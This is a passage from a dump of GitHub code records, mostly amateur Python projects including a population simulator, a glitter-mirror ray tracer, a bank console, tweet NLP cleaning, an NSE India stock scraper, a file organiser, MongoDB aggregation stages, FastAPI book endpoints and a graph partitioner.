# Baseline mortality rate\n beta = 0.001 # Rate of age-related increase in mortality\n\n print(\"Determining mortality due to old age...\")\n # Determine who dies based on age and Gompertz-Makeham distribution\n for family in families:\n for parent in family.parents:\n age_difference = parent.age - AVG_LIFESPAN\n if age_difference >= 0:\n survival_probability = np.exp(alpha + beta * age_difference)\n if random.random() > survival_probability:\n family.parents.remove(parent)\n population.remove(parent)\n print(f\"{parent.first_name} {parent.surname} died at age {parent.age}\")\n\n\n print(\"Generating families...\")\n # Allow couples to form families and have children\n eligible_parents = [person for person in population if 20 <= person.age <= 50]\n print(\"Generating parenting couples...\")\n parents = []\n print(\", \" .join(person.name for person in eligible_parents))\n while len(eligible_parents) >= 2:\n\n while True:\n print(\"Choosing first parent...\")\n parents.append(random.choice(eligible_parents))\n print(f\"Parent: {parents[0].name}, {parents[0].age}, {parents[0].orientation}\\n\\n\")\n print(\"Eligible parents: \" + str(len(eligible_parents)))\n while True:\n parents.append(random.choice(eligible_parents))\n for person in parents:\n print(f\"Person: {person.name}, {person.age}, {person.orientation}, {person.spouse_gender}\")\n\n if debug is True:\n if len(parents) == 2:\n print(\"First parent gender:\", parents[0].gender)\n print(\"First parent spouse gender:\", parents[0].spouse_gender)\n print(\"Second parent gender:\", parents[1].gender)\n print(\"Second parent spouse gender:\", parents[1].spouse_gender)\n\n\n if parents[1].gender in parents[0].spouse_gender and parents[0].gender in parents[1].spouse_gender:\n print(\"Eligible\\n\")\n\n eligible_parents.remove(parents[0])\n eligible_parents.remove(parents[1])\n break\n else:\n print(\"Not eligible\\n\")\n parents.remove(parents[1])\n\n if parents[0].gender in parents[1].spouse_gender and parents[1].gender in parents[0].spouse_gender:\n print(\"Couple formed!\")\n # If hetero, assign male surname, otherwise doesn't matter\n if parents[0].gender == \"male\":\n parents[1].surname = parents[0].surname\n else:\n parents[0].surname = parents[1].surname\n for parent in parents:\n print(f\"{parent.name}, {parent.age}, {parent.orientation}\")\n family_surname = parents[0].surname\n\n print(\"Remaining eligible parents: \" + str(len(eligible_parents)))\n if len(parents) != 2:\n print(\"Parents need to be two. Resetting...\")\n parents = []\n continue\n break\n\n\n # Assign spouses\n if len(parents) != 2:\n exit(1)\n parents[0].spouse = parents[1]\n parents[1].spouse = parents[0]\n\n family = Family(parents, family_surname)\n families.append(family)\n\n # Assigned any children without parents to this family, up to 3\n print(\"Assigning children to family...\")\n for person in population:\n # If child without parents, assign to family\n if person.is_child is True and person.parents == []:\n person.parents = parents\n # Patriarchal surname assignment\n if parents[0].gender == \"male\":\n person.surname = parents[0].surname\n else:\n person.surname = parents[1].surname\n # Add child to family\n family.add_child(person)\n print(f\"Assigned {person.name} to family {family_surname}\")\n # If family has 3 children, stop assigning children to this family\n if len(family.children) >= 3:\n break\n\n\n # if population capacity not yet reached, have children\n if len(population) < population_size:\n print(\"Adding children to the population...\")\n child_surname = family_surname\n child = Person(0, child_surname)\n family.add_child(child)\n population.append(child)\n eligible_parents.append(child)\n print(f\"{parents[0].name} and {parents[1].name} had a baby named {child.first_name}!\")\n\n # Print family lineages\n if step % 10 == 0:\n print(f\"Family Lineages at Year {step}:\")\n for i, family in enumerate(families):\n if i >= 10:\n break\n print(f\"Couples: {', '.join([parent.name for parent in family.parents])}\")\n for child in family.children:\n print(f\" Child: {child.name} ({child.gender})\")\n\n # Plot age histogram\n plt.bar(range(len(age_histogram)), age_histogram)\n plt.xlabel('Age')\n plt.ylabel('Population Count')\n plt.title('Population Demographics by Age')\n plt.show()\n\n # View lineage of a person\n def view_lineage(person):\n G = nx.DiGraph()\n\n # Create nodes for each person\n for p in population:\n G.add_node(p.name)\n\n # Create edges for family relationships\n for family in families:\n for child in family.children:\n parent1_name = family.parents[0].name\n parent2_name = family.parents[1].name\n child_name = child.name\n G.add_edge(parent1_name, child_name)\n G.add_edge(parent2_name, child_name)\n\n # Draw family tree\n pos = nx.spring_layout(G)\n nx.draw_networkx(G, pos=pos, with_labels=True)\n plt.axis('off')\n plt.show()\n\n # Select a person and view their lineage\n if len(population) > 0:\n selected_person = random.choice(population)\n view_lineage(selected_person)\n\n\n# Run the simulation\npopulation_size = 500\ninitial_family_count = 112\nfamily_size = 4.5\ntime_steps = 100\n\nsimulate_population(population_size, initial_family_count, family_size, time_steps)\n","repo_name":"Von-R/Generational-Simulator","sub_path":"Pop_sim.py","file_name":"Pop_sim.py","file_ext":"py","file_size_in_byte":14095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21521981673","text":"# the mirrors that we can use in the environment\nimport random as R\nfrom vector import vector as V\nimport numpy as np\n\nclass mirrors:\n\n #PRE: T is the type of the mirror to make\n # S is the size of the mirror to make\n # O is the surfaces overall orientation vector with 0 z component\n # L is location as vector to top left corner\n #POST: creates an NxN array of vectors relative to the mirror surface which\n # represent the normal to the plane.\n def __init__(self, T, S, O=V.vector(0,0,1), L=V.vector(0,0,0)):\n self.seed = 123456\n self.size = S\n self.orientation = V.vector(O[0], O[1], O[2])\n self.top_left = L\n # this is the direction the pixels are moving from \"0,0\" of the mirror\n # we assume that all elements have 0 z component for their orientation,\n # and as such, [0,0,1] is orthogonal to self.orientation\n out = np.cross(self.orientation.vec, [0,0,1])\n self.right_vec = V.vector(out[0],out[1],out[2])\n #self.right_vec is a vector of the direction of pixels following the\n #right of the top left since cross products follow the right hand rule\n if (T == True):\n self.sheet = self.makeGlitter()\n else:\n self.sheet = self.makeFlat()\n\n #PRE: initially assumes the orientation of the sheet to be [0 0 1]\n # and rotates via the vector rotate method the reflector to the correct\n # orientation in a 3D environment\n #POST: makes a sheet of glitter oriented to the space\n def makeGlitter(self):\n R.seed(self.seed)\n paper = []\n for i in range(0,self.size):\n row = []\n for j in range(0,self.size):\n mx = float(format(R.uniform(-1,1),'.2'))\n my = float(format(R.uniform(-1,1),'.2'))\n mz = np.absolute(float(format(R.uniform(-1,1),'.2')))\n reflector = V.vector(mx, my, mz)\n # reflector = reflector.unit() # not necessary\n cos_theta = (reflector.dotProduct(self.orientation.vec)/\n (reflector.magnitude()*np.linalg.norm(self.orientation.vec)))\n theta = np.degrees(np.arccos(cos_theta))\n u = reflector.crossProduct(self.orientation.vec).unit()\n # u is perpendicular to the reflector and the axis of ratation\n reflector.rotate(u,theta)\n row.append(reflector)\n paper.append(row)\n return paper\n\n def makeFlat(self):\n paper = []\n f = [0,0,1] # surface normal of flat mirror with frame of reference\n # +z away from overall orientation\n reflector = V.vector(f[0],f[1],f[2])\n cos_theta = (reflector.dotProduct(self.orientation)/(reflector.magnitude()*np.linalg.norm(self.orientation.vec)))\n theta = np.degrees(np.arccos(cos_theta))\n # print(\"theta: \",theta)\n u = reflector.crossProduct(self.orientation).unit()\n # print(\"unit axis of rotation: \",str(u))\n # u is perpendicular to the reflector and the axis of rotation\n # print(\"pre-rotation: \",str(reflector))\n reflector.rotate(u,theta)\n # print(\"post-rotation: \",str(reflector))\n for i in range(0,self.size):\n row = []\n for j in range(0,self.size):\n row.append(reflector)\n paper.append(row)\n return paper\n\n\n # Writing a pixel by pixel color representation of the mirror surface.\n # R, G, -1 and 1, -1 is 0, 1 is 300, 0 is 150\n # B, 0 and 1, 0 is 0, 1 is 300\n # writing as a .ppm file\n def draw_img(self):\n # proper .ppm header\n print_str = \"P3\\n\"+str(self.size)+\" \"+str(self.size)+\"\\n300\\n\"\n\n for i in range(0,self.size):\n for j in range(0,self.size):\n r = int(np.ceil((np.absolute(self.sheet[i][j].x))*300))\n g = int(np.ceil((np.absolute(self.sheet[i][j].y))*300))\n b = int(np.ceil((np.absolute(self.sheet[i][j].z))*300))\n color = str(r)+\" \"+str(g)+\" \"+str(b)+\"\\n\"\n # print(color)\n print_str += color\n img = open(\"mirror2.ppm\",\"r+\")\n # print(print_str)\n img.write(print_str)\n\n def __str__(self):\n print_str = \"\"\n for i in range(0,self.size):\n for j in range(0,self.size):\n print_str += str(self.sheet[i][j])+\"\\t\"\n print_str += \"\\n\"\n return print_str\n","repo_name":"jngetz/SparkleMind","sub_path":"ray_trace/environment/mirrors.py","file_name":"mirrors.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"1883499428","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 22 01:58:56 2019\n\n@author: abdoulaziz\n\"\"\"\nfrom bank import Bank\n\n\n#==============================================================================\n# Important Note:\n# Create a Bank object call myBank\n#==============================================================================\nmyBank = Bank(\"myBank\")\n\n\n#==============================================================================\n# Important Note:\n# Ask customer to create a Bank account\n#==============================================================================\nprint(\"Enter your name and create an account\")\nprenom = input(\"First name :\")\nnom = input(\"Name :\")\nidc = myBank.create(nom, prenom)\nprint(\"Your customer number is :\", idc)\n\n \n#==============================================================================\n# Important Note:\n# display of a menu to allow the customer to perform operations\n#==============================================================================\nc = True\nwhile c :\n try : \n print(\"Welcome to your Bank :\")\n print(\"\\t 1.Consute my operations\")\n print(\"\\t 2.Withdraw from my account\")\n print(\"\\t 3.Deposit to my account\")\n print(\"\\t 4.Close\")\n choix = input(\"Write your choice number : \") \n choix = int(choix)\n if choix == 1:\n myBank.consulte(idc)\n elif choix == 2:\n amount = input(\"Write your amount :\")\n print(\"\\n\\n\")\n amount = int(amount)\n myBank.widthraw(idc, amount)\n elif choix == 3:\n amount = input(\"Write your amount :\")\n print(\"\\n\\n\")\n amount = int(amount)\n myBank.deposit(idc, amount)\n else :\n c = False\n except ValueError :\n print(\"You need to choose a number\\n\\n\") \n \n ","repo_name":"abdoul91/kataBank","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"39413039810","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 14 09:54:44 2020\n\n@author: Victor HENRIO\n\"\"\"\n\nimport pandas as pd \nimport nltk \nfrom nltk.tokenize import sent_tokenize, word_tokenize\nfrom nltk.corpus import stopwords\nimport spacy\nfrom spacy.lemmatizer import Lemmatizer\nfrom nltk.stem.porter import *\n\n\n\ndef tokenisation(text):\n text_trait = text.replace(\"'\",\" \").replace(\".\",\" \")\n texte_token = nltk.sent_tokenize(text_trait.lower())\n all_words = [nltk.word_tokenize(sent) for sent in texte_token]\n return all_words\n\n \ndef delete_stop_word(array_of_word):\n stop_words = stopwords.words('english') + [\",\", \".\", \"!\", \"?\", \";\", \"...\", \"'s\", \"--\", \"&\",\"'\",\"#\",\"@\",\"%\"] + [k for k in range(100)]\n for i in range(len(array_of_word)):\n array_of_word[i] = [w for w in array_of_word[i] if w not in stop_words]\n return array_of_word\n\n\ndef porterStemmerFct(array_of_word):\n #print(\"\\n\",\"#\"*40,\"\\n\",\"\\t PorterStemmerFct \\n\",\"#\"*40,\"\\n\")\n stemmer = PorterStemmer()\n singles = [stemmer.stem(plural) for plural in array_of_word[0]]\n return singles\n\ndef spacylemmatization(text):\n print(\"\\n\",\"#\"*40,\"\\n\",\"\\t Spacy Lemmatization \\n\",\"#\"*40,\"\\n\")\n nlp = spacy.load('fr_core_news_sm')\n text_nlp = nlp(text)\n for token in text_nlp :\n print (token, token.lemma_)\n\n\n\ndef clean_df(df):\n #Pas réussi à append les listes dans le df\n #cleaned_df = pd.DataFrame(columns=[\"content\"])\n cleaned_tab = []\n for index,tweet in df.itertuples():\n token_tweet = tokenisation(tweet)\n tweet_without_stpw = delete_stop_word(token_tweet)\n porter_tweet = porterStemmerFct(tweet_without_stpw) \n #cleaned_df['content'] = porter_tweet\n #cleaned_df[index].append(porter_tweet)\n cleaned_tab.append(porter_tweet)\n \n return cleaned_tab\n\n\n \n \n \nif __name__ == \"__main__\":\n \n df = pd.read_csv(\"data/1001tweets_on_bitcoin.csv\", sep=\"\\\\\", names=['Content'])\n clean = clean_df(df)\n ","repo_name":"Alex-bensimon/scraping_nlp_project","sub_path":"nlp.py","file_name":"nlp.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"18255522687","text":"\"\"\"\n======================\nNSE India Web Services\n======================\n\nEncapsulation for the services that communicate with nse india\n\"\"\"\n\nimport urllib\nimport pandas as pd\nfrom helper.util import resolve_config_value\nimport datetime\nimport requests\nfrom io import StringIO\nfrom bs4 import BeautifulSoup\n\nclass NseIndiaService:\n \"\"\"\n Functions\n =========\n\n get_historical_prices : Get historical prices of a stock for a given time frame\n \"\"\"\n\n def __init__(self):\n self.__config_details = resolve_config_value(['nse_india'])\n\n def get_historical_prices(self, stock_name: str, ct: datetime, pt: datetime)-> pd.DataFrame:\n \"\"\"\n Fetches the daily historical price for the stock for a given time frame\n\n Parameters\n ----------\n stock_name : str\n The nse ticker id.\n ct : datetime\n The current date which is the end time of the time frame.\n pt : datetime\n The date from where to get the historical prices.\n\n Returns\n -------\n df : dataframe\n The dataset contains the date and historical price of the stock.\n\n \"\"\"\n\n # change the timestamp to DD-MM-YYYY format\n ct = ct.strftime(\"%d-%m-%Y\")\n pt = pt.strftime(\"%d-%m-%Y\")\n\n head = {\n 'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/87.0.4280.88 Safari/537.36 \"\n }\n\n base_url = self.__config_details['base_url']\n\n session = requests.session()\n session.get(base_url, headers=head)\n session.get(base_url + self.__config_details['stock_details'] + stock_name, headers=head) # to save cookies\n session.get(base_url + self.__config_details['stock_historical_data'] + stock_name, headers=head)\n url = base_url + self.__config_details['stock_historical_data_download'] + stock_name + \"&series=[%22EQ%22]&from=\" + pt + \"&to=\" + ct + \"&csv=true\"\n webdata = session.get(url=url, headers=head)\n\n df = pd.read_csv(StringIO(webdata.text[3:]))\n\n # formatting the dataframe to contain only Date and ltp\n df = df.drop(\n ['series ', 'OPEN ', 'HIGH ', 'LOW ', 'PREV. CLOSE ', 'close ', 'vwap ', '52W H ', '52W L ', 'VOLUME ',\n 'VALUE ', 'No of trades '], axis=1)\n\n # changing Date column to timestamp and putting it in the format of YYYY-mm-dd\n # as we will need to sort it\n df['Date '] = pd.to_datetime(df['Date ']).dt.strftime(\"%Y-%m-%d\")\n\n # sorting df based on Date column in ascending order\n df = df.sort_values(by=['Date '])\n\n return df\n\n\n def create_cookies(self, cookie: dict, ticker_name: str) -> str:\n \"\"\"\n\n Parameters\n ----------\n cookie\n\n Returns\n -------\n\n \"\"\"\n\n keys = ['nsit','ak_bmsc','nseappid','bm_sv']\n cookies = f'AKA_A2=A;'\n cookies += ' nseQuoteSymbols=[{\"symbol\":\"' +ticker_name +',\"identifier\":null,\"type\":\"equity\"}];'\n for key in keys:\n cookies += f'{key}={cookie[key]};'\n return cookies\n\n\n def get_stock_metadata(self, ticker_name: str) -> tuple:\n \"\"\"\n\n Parameters\n ----------\n ticker_name\n\n Returns\n -------\n\n \"\"\"\n\n head = {\n 'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/87.0.4280.88 Safari/537.36 \",\n 'authority': 'www.nseindia.com',\n 'pragma': 'no-cache',\n 'cache-control': 'no-cache',\n 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36',\n 'accept': '/',\n 'sec-gpc': '1',\n 'sec-fetch-site': 'same-origin',\n 'sec-fetch-mode': 'cors',\n 'sec-fetch-dest': 'empty',\n 'referer': 'https://www.nseindia.com/get-quotes/equity?symbol='+ticker_name,\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',\n }\n\n base_url = self.__config_details['base_url']\n session = requests.session()\n session.get(base_url, headers=head)\n session.get(base_url + self.__config_details['base_stock_details'] + ticker_name, headers=head)\n # to save cookies\n url = base_url + self.__config_details['stock_details'] + urllib.parse.quote(ticker_name)\n head['cookie'] = self.create_cookies(session.cookies.get_dict(),ticker_name)\n #session.get(url, headers=head)\n response = requests.get(url, headers=head).json()\n\n try:\n industry = response['metadata']['industry']\n sector_pe = response['metadata']['pdSectorPe']\n symbol_pe = response['metadata']['pdSymbolPe']\n sector_industry = response['metadata']['pdSectorInd']\n except:\n print(f'{ticker_name} has no key information for metadata. Putting default value')\n industry = 'NA'\n sector_pe = 0.0\n symbol_pe = 0.0\n sector_industry = 'NA'\n\n try:\n status = response['securityInfo']['tradingStatus']\n outstanding_share = response['securityInfo']['issuedSize']\n except:\n print(f'{ticker_name} has no key information for security information. Putting default values')\n status = 'NA'\n outstanding_share = 0.0\n\n try:\n macro = response['industryInfo']['macro']\n #sector = response['industryInfo']['sector']\n basic_industry = response['industryInfo']['basicIndustry']\n except:\n print(f'{ticker_name} has no key information for industry information. Putting default values')\n macro = 'NA'\n basic_industry = 'NA'\n\n try:\n stock_price = response['priceInfo']['lastPrice']\n except:\n print(f'{ticker_name} has no key information for price information. Putting default values')\n stock_price = 0.0\n\n #get market capital\n url = url + self.__config_details['market_capital_suffix']\n response = requests.get(url, headers=head).json()\n\n try:\n market_capital = response['marketDeptOrderBook']['tradeInfo']['totalMarketCap']\n #free floating market capital\n ffmc = response['marketDeptOrderBook']['tradeInfo']['ffmc']\n except:\n print(f'{ticker_name} has no key information for market dept order book information. Putting default values')\n market_capital = 0.0\n ffmc = 0.0\n\n\n return stock_price, outstanding_share, basic_industry, symbol_pe, sector_pe, sector_industry, macro, industry,\\\n market_capital, ffmc, status\n\n\n","repo_name":"CapitalistFinancialGroup/FundamentalAnalysis-4","sub_path":"Codes/python/stockLib/stockLibraries/Services/NseIndiaService.py","file_name":"NseIndiaService.py","file_ext":"py","file_size_in_byte":6817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"12427435939","text":"from os import rename\nfrom pathlib import Path\nfrom shutil import move\nfrom makes import *\n\ndestino = Path(\"direcciones/DEST.txt\")\nwith open(destino, 'r') as f:\n DEST = f.readline()\n\n\ndef clientesIn(directory, aname):\n name = makeToString(aname)\n p = Path(directory)\n res = []\n if name == 'Regimen':\n for child in p.iterdir():\n if child.is_dir():\n res = res + carpeta(child)\n else:\n for child in (Path(directory, name)).iterdir():\n if child.is_dir():\n res.append(child.name)\n return res\n\n\ndef carpeta(directory):\n p = makeToPath(directory)\n res = []\n for child in p.iterdir():\n if child.is_dir():\n res.append(child.name)\n return res\n\ndef carpetas(directory, name):\n p = makeToPath(directory)\n for child in p.iterdir():\n if child.is_dir() and name in child.name:\n return child\n return p\n\ndef carpetaInterna(DEST, cliente):\n p = Path(DEST)\n for carpeta in p.iterdir():\n if carpeta.is_dir():\n for carp in carpeta.iterdir():\n if cliente in carp.name:\n p = Path(carpeta, cliente)\n return p\n\ndef cambiarNombre(fileName,regimen,cliente, tipo, impuesto, mes, anio):\n nombre = '-'.join([cliente, tipo, impuesto, mes, anio])\n ext = fileName.suffix\n if regimen != 'Regimen':\n carpeta = carpetas(DEST, regimen)\n path = Path(carpeta, cliente)\n else:\n path = carpetaInterna(DEST, cliente)\n path = Path(path, anio)\n if not (path.exists()):\n path.mkdir()\n path = Path(path, mes)\n if not (path.exists()):\n path.mkdir()\n path = Path(path, nombre + ext)\n if not (path.exists()):\n move(fileName, path)\n else:\n parent = path.parent\n path = noRepetido(parent, nombre, ext)\n move(fileName, path)\n\ndef noRepetido(parent, nombre, ext):\n nombreAux = nombre\n contador = 2\n pathAux = Path(parent, nombreAux + ext)\n while True:\n if pathAux.exists():\n nombreAux = nombre + \"({})\".format(contador)\n pathAux = Path(parent, nombreAux + ext)\n contador += 1\n else:\n return pathAux\n\n\ndef mover(old_file, new_folder):\n nombre = Path(new_folder, old_file.name)\n if not nombre.exists():\n move(old_file, nombre)\n\ndef moverABasura(old_file, origen):\n destino = Path(origen, 'omitidos')\n if destino.exists():\n mover(old_file, destino)\n else:\n destino.mkdir()\n mover(old_file, destino) \n\ndef archivos(directory, names, patterns):\n '''directory: str, name:str, patter:str\n directory es el lugar donde se busca los archivos\n name es el string para filtrar los archivos\n pattern es el tipo de archivo que se busca'''\n res = []\n for pattern in patterns:\n filenames = Path(directory).glob(pattern)\n for file in filenames:\n for name in names:\n if name in file.name.lower():\n res.append(file)\n return res","repo_name":"IngErnestoAlvarez/archivador","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"71683292058","text":"s = input()\n\nminimal = float('inf')\nparse = ''\n\nfor l in s:\n\tif l in '0123456789':\n\t\tparse += l\n\telse:\n\t\tif parse:\n\t\t\tres = int(parse)\n\t\t\tif res % 2 == 0:\n\t\t\t\tminimal = min(minimal, res)\n\t\tparse = ''\nif parse:\n\tres = int(parse)\n\tif res % 2 == 0:\n\t\tminimal = min(minimal, res)\nprint(minimal)","repo_name":"GenryEden/kpolyakovName","sub_path":"2526.py","file_name":"2526.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21608761018","text":"from typing import Any, Dict, Final, List\n\nfrom lighthouse.constants.fields import (\n FIELD_FILTERED_POSITIVE,\n FIELD_MUST_SEQUENCE,\n FIELD_PLATE_BARCODE,\n FIELD_PREFERENTIALLY_SEQUENCE,\n FIELD_PROCESSED,\n FIELD_SAMPLE_ID,\n)\nfrom lighthouse.constants.general import (\n FACET_COUNT_FILTERED_POSITIVE,\n FACET_COUNT_FIT_TO_PICK_SAMPLES,\n FACET_COUNT_MUST_SEQUENCE,\n FACET_COUNT_PREFERENTIALLY_SEQUENCE,\n FACET_DISTINCT_PLATE_BARCODE,\n FACET_FIT_TO_PICK_SAMPLES,\n)\n\n\"\"\"\nStage for mongo aggregation pipeline to select all the samples which are \"fit to pick\":\n- we first need to merge the fields from the priority_samples collection\n- we are then interested in samples which are:\n filtered_positive == True OR must_sequence == True\n (samples that are preferentially_sequence == True must also be filtered_positive == True\n in order to be pickable so no need to select these independantly)\n\"\"\"\nSTAGES_FIT_TO_PICK_SAMPLES: Final[List[Dict[str, Any]]] = [\n # first perform a lookup from samples to priority_samples using the '_id' field from samples on 'sample_id' on\n # priority_samples\n {\n \"$lookup\": {\n \"from\": \"priority_samples\",\n \"let\": {FIELD_SAMPLE_ID: \"$_id\"},\n \"pipeline\": [\n {\n \"$match\": {\n \"$expr\": {\n \"$and\": [\n {\"$eq\": [f\"${FIELD_SAMPLE_ID}\", f\"$${FIELD_SAMPLE_ID}\"]},\n {\"$eq\": [f\"${FIELD_PROCESSED}\", True]},\n ]\n }\n },\n },\n # include a project here to remove the other fields we are not interested in or could cause confusion\n # such as '_created_at' and '_updated_at' which are automatically created by Eve\n {\n \"$project\": {\n FIELD_PROCESSED: 1,\n FIELD_MUST_SEQUENCE: 1,\n FIELD_PREFERENTIALLY_SEQUENCE: 1,\n },\n },\n ],\n \"as\": \"from_priority_samples\",\n }\n },\n # replace the document with a merge of the original and the first element of the array created from the lookup\n # above - this should always be 1 element\n {\n \"$replaceRoot\": {\n \"newRoot\": {\"$mergeObjects\": [{\"$arrayElemAt\": [\"$from_priority_samples\", 0]}, \"$$ROOT\"]},\n }\n },\n # remove the lookup document\n {\n \"$project\": {\n \"from_priority_samples\": 0,\n },\n },\n # perform the match for fit to pick samples\n {\n \"$match\": {\n \"$or\": [\n {FIELD_FILTERED_POSITIVE: True},\n {FIELD_MUST_SEQUENCE: True},\n ],\n }\n },\n # add facets to make extracting counts efficient\n {\n \"$facet\": {\n FACET_FIT_TO_PICK_SAMPLES: [\n {\"$match\": {}},\n ],\n FACET_COUNT_FIT_TO_PICK_SAMPLES: [\n {\"$count\": \"count\"},\n ],\n FACET_COUNT_FILTERED_POSITIVE: [\n {\"$match\": {FIELD_FILTERED_POSITIVE: True}},\n {\"$count\": \"count\"},\n ],\n FACET_COUNT_MUST_SEQUENCE: [\n {\"$match\": {FIELD_MUST_SEQUENCE: True}},\n {\"$count\": \"count\"},\n ],\n FACET_COUNT_PREFERENTIALLY_SEQUENCE: [\n {\"$match\": {FIELD_PREFERENTIALLY_SEQUENCE: True}},\n {\"$count\": \"count\"},\n ],\n }\n },\n]\n\nFACETS_REPORT = {\n \"$facet\": {\n FACET_FIT_TO_PICK_SAMPLES: [\n {\"$match\": {}},\n ],\n FACET_COUNT_FIT_TO_PICK_SAMPLES: [\n {\"$count\": \"count\"},\n ],\n FACET_DISTINCT_PLATE_BARCODE: [\n {\"$match\": {FIELD_PLATE_BARCODE: {\"$nin\": [\"\", None]}}},\n {\"$group\": {\"_id\": None, \"distinct\": {\"$addToSet\": \"$plate_barcode\"}}},\n ],\n }\n}\n","repo_name":"sanger/lighthouse","sub_path":"lighthouse/constants/aggregation_stages.py","file_name":"aggregation_stages.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"2871033334","text":"from typing import Optional\nfrom uuid import UUID\n\nfrom fastapi import APIRouter, Depends\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom fastapi_pagination import Page, LimitOffsetPage\n\nfrom user.schemas import User\nfrom user.fast_users import fastapi_users\nfrom book import services as book_services\nfrom book.schemas import BookList, BookUpdate, BookRetrieve, BookCreateIn, BookCreateOut\nfrom core.db import get_session\n\n\nrouter = APIRouter()\ncurrent_user = fastapi_users.current_user(active=True, verified=True)\n \n \n@router.get('', response_model = Page[BookList])\n@router.get('/limit-offset', response_model = LimitOffsetPage[BookList])\nasync def book_list(session: AsyncSession = Depends(get_session), available: Optional[bool] = None):\n books = await book_services.get_books(session=session, available=available)\n return books\n\n\n@router.get('/{book_id}', response_model=BookRetrieve)\nasync def book_retrieve(book_id: UUID, session: AsyncSession = Depends(get_session)):\n book = await book_services.get_book(session=session, book_id=book_id)\n return book\n\n\n@router.post('/create', response_model=BookCreateOut)\nasync def book_create(\n item: BookCreateIn, \n session: AsyncSession = Depends(get_session), \n user: User = Depends(current_user)\n):\n book = await book_services.insert_book(session=session, item=item, user_id=user.id)\n return book\n\n\n@router.patch('/update/{book_id}')\nasync def update_book(\n book_id: UUID, \n item: BookUpdate, \n session: AsyncSession = Depends(get_session),\n user: User = Depends(current_user)\n):\n book = await book_services.update_book(session=session, book_id=book_id, item=item, user_id=user.id)\n return book\n\n\n@router.delete('/delete/{book_id}')\nasync def delete_book(book_id: UUID, session: AsyncSession = Depends(get_session), user: User = Depends(current_user)):\n book = await book_services.delete_book(session=session, book_id=book_id, user_id=user.id)\n return book","repo_name":"RezuanDzibov/Library_FastAPI","sub_path":"book/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"44842237217","text":"\n# library imports\n# from graphics import *\nimport argparse\n\n# my imports\nimport parser\nimport draw\nimport partition\nimport block\nimport utility\nimport KM\nimport coarsening\nimport graph\nimport coarse_partition\n\ndef main(file_name):\n\t\t\n\t# graphics \n\twin = 0\n\n\t# parse the file\n\tparsed_result = parser.parse_file(file_name)\n\tnum_cells = parsed_result[0]\n\tnum_connections = parsed_result[1]\n\tnum_rows = parsed_result[2]\n\tnum_cols = parsed_result[3]\n\tlist_of_nets = parsed_result[4]\n\n\t# error checking\n\tassert(num_cells)\n\tassert(num_connections)\n\tassert(num_rows)\n\tassert(num_cols)\n\tassert(list_of_nets)\n\t# do all cells even fit on the grid\n\tassert(num_cells <= num_rows*num_cols)\n\n\t# create all the cells based on the net connections\n\tlist_of_cells = utility.create_cells(num_cells, num_cols, num_rows, list_of_nets)\n\t# cross link the cells, each cell is referenced with all the cells it conects to\n\tlist_of_cells = utility.block_X_block(list_of_cells, list_of_nets)\n\t# cross link the nets with stakeholder cells\n\tlist_of_nets = utility.get_stakeholder_cells_for_net(list_of_nets, list_of_cells)\n\n\t# extract the edges and verteces from the nets and cells\n\t# this allows for ease of use with general graph algorithms\n\tgraph_edges = coarsening.extract_edges(list_of_nets)\n\tgraph_verteces = coarsening.extract_verteces(list_of_cells)\n\tG = graph.graph(graph_edges, graph_verteces)\n\t\t\n\t# coarsen the graph\n\tG = coarsening.coarsen_graph(G)\n\n\t# after coarsening, constrcut the vertex_X_vertex for fast lookup:\n\tG.vertex_X_vertex()\n\n\t# now, partition the simple graph\n\t#G = coarse_partition.partition_graph(G)\n\n\t# uncoarsen!\n\n\tprint(\"uncoarseing now\")\n\n\t# assign partition to each cell\n\tlist_of_cells = partition.assign_initial_partition(list_of_cells)\n\t# verify the partition\n\tpartition.verify_partition_count(list_of_cells)\n\n\t# compute the initial_cost for reference\n\tinitital_cost = partition.compute_total_cost(list_of_nets, list_of_cells)\n\n\t# apply the kernigan_lin algorithm:\n\t[final_cost, final_list] = partition.kernigan_lin(list_of_cells, list_of_nets)\n\t# final_cost = KM.kernigan_lin_KM(list_of_cells, list_of_nets)\n\n\t# draw the board:\n\twin = draw.draw_final_result(win, num_cols, num_rows, final_list, list_of_nets)\n\n\t# show output statistics\n\tprint('terminating execution, initial cost: ', initital_cost, ' final cost: ', final_cost)\n\n\t# this will leave the window open until the user clicks\n\twin.getMouse()\n\twin.close()\n\n\treturn\n\n# command line parser\ncmd_parser = argparse.ArgumentParser(description='Process some integers.')\ncmd_parser.add_argument('filename', metavar='filename', type=str, nargs='+', help='')\nargs = cmd_parser.parse_args()\n\n# call the main function using the parsed 